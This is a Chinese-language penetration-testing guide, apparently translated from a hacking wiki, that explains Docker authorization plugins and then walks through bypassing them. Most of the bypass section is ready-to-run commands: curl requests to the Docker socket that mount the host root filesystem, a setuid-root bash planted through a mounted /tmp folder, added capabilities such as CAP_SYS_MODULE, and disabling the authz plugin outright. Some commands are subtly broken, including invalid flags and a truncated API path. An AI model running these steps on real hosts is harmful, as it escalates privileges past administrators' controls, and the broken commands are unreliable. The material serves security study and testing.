AuthZ& AuthN - Docker Access Authorization Plugin

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Docker的授权模型是全有或全无的。任何具有访问Docker守护程序权限的用户都可以运行任何Docker客户端命令。对于使用Docker的Engine API联系守护程序的调用方也是如此。如果您需要更精细的访问控制，可以创建授权插件并将其添加到Docker守护程序配置中。使用授权插件，Docker管理员可以为管理对Docker守护程序的访问配置细粒度访问策略。

基本架构

Docker Auth插件是您可以使用的外部插件，用于根据请求守护程序的用户和请求的操作来允许/拒绝发送到Docker守护程序的操作。

以下信息来自文档

当通过CLI或通过Engine API向Docker 守护程序发出HTTP请求时，身份验证子系统将请求传递给已安装的身份验证插件。请求包含用户（调用方）和命令上下文。插件负责决定是否允许或拒绝请求。

下面的序列图描述了允许和拒绝授权流程：

授权允许流程

授权拒绝流程

发送到插件的每个请求包括经过身份验证的用户、HTTP头和请求/响应正文。只传递用户名和使用的身份验证方法给插件。最重要的是，不会传递用户凭据或令牌。最后，并非所有请求/响应正文都会发送到授权插件。只有Content-Type为text/*或application/json的请求/响应正文会被发送。

对于可能劫持HTTP连接的命令（如exec）等命令，授权插件仅在初始HTTP请求时调用。一旦插件批准命令，授权就不会应用于其余流程。具体来说，流式数据不会传递给授权插件。对于返回分块HTTP响应的命令，如logs和events，只有HTTP请求会发送到授权插件。

在请求/响应处理期间，某些授权流可能需要对Docker守护程序进行额外查询。为了完成这样的流程，插件可以调用类似于常规用户的守护程序API。为了启用这些额外查询，插件必须提供管理员配置适当的身份验证和安全策略的手段。

多个插件

您负责在Docker守护程序启动时注册您的插件。您可以安装多个插件并将它们链接在一起。此链可以排序。每个传递到守护程序的请求都会按顺序通过链。只有当所有插件都授予对资源的访问权限时，访问权限才会被授予。

插件示例

Twistlock AuthZ Broker

插件authz允许您创建一个简单的JSON文件，插件将读取以授权请求。因此，它为您提供了很容易控制哪些API端点可以被每个用户访问的机会。

这是一个示例，允许Alice和Bob创建新容器：{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

在页面route_parser.go中，您可以找到请求的URL与操作之间的关系。在页面types.go中，您可以找到操作名称与操作之间的关系

简单插件教程

您可以在这里找到一个易于理解的插件，其中包含有关安装和调试的详细信息：https://github.com/carlospolop-forks/authobot

阅读README和plugin.go代码以了解其工作原理。

Docker授权插件绕过

枚举访问

要检查的主要内容是允许的端点和允许的HostConfig值。

要执行此枚举，您可以使用工具https://github.com/carlospolop/docker_auth_profiler。

禁止run --privileged

最低权限

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

运行容器然后获取特权会话

在这种情况下，系统管理员禁止用户挂载卷并使用--privileged标志运行容器或为容器提供任何额外的功能：

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

然而，用户可以在运行的容器内创建一个 shell 并赋予它额外的权限：

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

现在，用户可以使用任何先前讨论过的技术来逃离容器，并在主机内提升权限。

挂载可写文件夹

在这种情况下，系统管理员禁止用户使用--privileged标志运行容器或为容器提供任何额外的功能，只允许挂载/tmp文件夹：

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

请注意，您可能无法挂载文件夹 /tmp，但可以挂载其他可写文件夹。您可以使用以下命令查找可写目录：find / -writable -type d 2>/dev/null

请注意，并非 Linux 机器上的所有目录都支持 suid 位！ 为了检查哪些目录支持 suid 位，请运行 mount | grep -v "nosuid"。例如，通常 /dev/shm、/run、/proc、/sys/fs/cgroup 和 /var/lib/lxcfs 不支持 suid 位。

还要注意，如果您可以挂载 /etc 或包含配置文件的任何其他文件夹，您可以在 docker 容器中以 root 身份更改它们，以便在主机中滥用它们并提升权限（也许修改 /etc/shadow）

未经检查的 API 端点

配置此插件的系统管理员的责任是控制每个用户可以执行哪些操作以及具有哪些特权。因此，如果管理员采用黑名单方法处理端点和属性，可能会忘记一些可能允许攻击者提升权限的端点。

您可以在 https://docs.docker.com/engine/api/v1.40/# 中查看 docker API。

未经检查的 JSON 结构

在根目录中绑定

当系统管理员配置 docker 防火墙时，可能忘记了API的一些重要参数，比如 "Binds"。 在以下示例中，可以利用此配置错误创建和运行一个容器，该容器挂载主机的根目录 (/)：

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

请注意，在此示例中，我们将**Binds参数作为JSON中的根级键使用，但在API中，它出现在HostConfig**键下面。

HostConfig中的Binds

按照根目录中的Binds的相同指示，执行以下请求到Docker API：

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

在根目录中挂载

按照与在根目录中绑定相同的说明，执行以下请求到Docker API：

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

HostConfig中的挂载

按照与根目录中的绑定相同的说明，执行以下对Docker API的请求：

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

未经检查的 JSON 属性

当系统管理员配置 Docker 防火墙时，有可能忘记了某些参数的重要属性，比如API中的 "Capabilities" 在 "HostConfig" 内部。在下面的示例中，可以利用这个配置错误来创建并运行一个具有 SYS_MODULE 能力的容器：

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

HostConfig通常包含从容器中逃脱的有趣 特权的关键。然而，正如我们之前讨论过的，注意如何在其外部使用Binds也可以起作用，并且可能允许您绕过限制。

禁用插件

如果系统管理员忘记禁止禁用插件的能力，您可以利用这一点完全禁用它！

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

Docker访问授权插件认证和授权

记得在提升权限后重新启用插件，否则重启docker服务不会生效！

Auth插件绕过攻略

• https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/

参考资料

• https://docs.docker.com/engine/extend/plugins_authorization/